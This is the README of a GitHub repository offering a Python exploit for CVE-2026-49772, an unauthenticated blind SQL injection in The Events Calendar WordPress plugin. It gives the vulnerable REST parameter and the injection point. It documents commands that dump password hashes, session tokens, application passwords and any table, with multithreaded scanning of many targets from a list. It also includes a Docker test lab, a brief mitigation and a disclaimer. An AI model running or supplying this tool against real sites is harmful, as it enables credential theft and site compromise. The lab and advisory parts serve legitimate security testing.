joshuavanderpoll/cve-2026-49772Blind SQL injection exploit for CVE-2026-49772 targeting The Events Calendar WordPress plugin. Extracts database contents via boolean/time-based oracle with multithreaded scanning, user hash dumping, and custom query support.
CVE-2026-49772 is an unauthenticated blind SQL injection in the WordPress
plugin The Events Calendar. A broken REST parameter validator (validate_callback
returns a closure instead of validating) lets the order parameter on the
experimental tec/v1 REST API reach the SQL ORDER BY clause unsanitised:
GET /wp-json/tec/v1/events?orderby=event_date&order=<INJECTION>
... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...
This is a read-only injection (no stacked queries, no writes, no direct output) — but the whole database is extractable via a boolean/time-based oracle: user password hashes, session tokens, application passwords, secret keys.
Affected versions: The Events Calendar 6.15.12 – 6.16.2 (fixed in 6.16.3)
Severity: CVSS 3.1 9.3 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
--check — Non-breaking detection: REST namespace, plugin version, time-based confirm--recon — DB fingerprint: version, current user, database, OS, privileges, table prefix--users — Dump wp_users: logins, emails, password hashes--user-meta — Dump wp_usermeta: session tokens, application passwords, capabilities--get-table — Dump any table with automatic column discovery--query — Extract the result of any scalar SELECTPure Python 3 standard library — requirements.txt is included for the standard
workflow but installs nothing extra.
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 CVE-2026-49772.py --help
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python CVE-2026-49772.py --help
python3 CVE-2026-49772.py <target> <action> [options]
Pick exactly one action: --check, --recon, --users, --user-meta,
--get-table <TABLE>, --query <SQL>. Run --help for all options.
python3 CVE-2026-49772.py target.tld --check
python3 CVE-2026-49772.py target.tld --recon
python3 CVE-2026-49772.py target.tld --users
python3 CVE-2026-49772.py target.tld --query "SELECT @@version"
Tuning: --technique boolean|time, --delay, --threads, --rows, --prefix,
--where, -useragent, -timeout. Scan many hosts with -l targets.txt.
A self-contained Docker Compose lab with the vulnerable plugin (bundled, not downloaded at boot) and pre-seeded events. See docker/DOCKER.md.
cd docker/
docker compose up -d
python3 ../CVE-2026-49772.py localhost:8080 --check
/wp-json/tec/v1/ at the WAF / reverse proxyThis tool is provided for educational and research purposes only. Use it only against systems you own or have explicit written permission to test. The creator assumes no responsibility for any misuse or damage caused by this tool.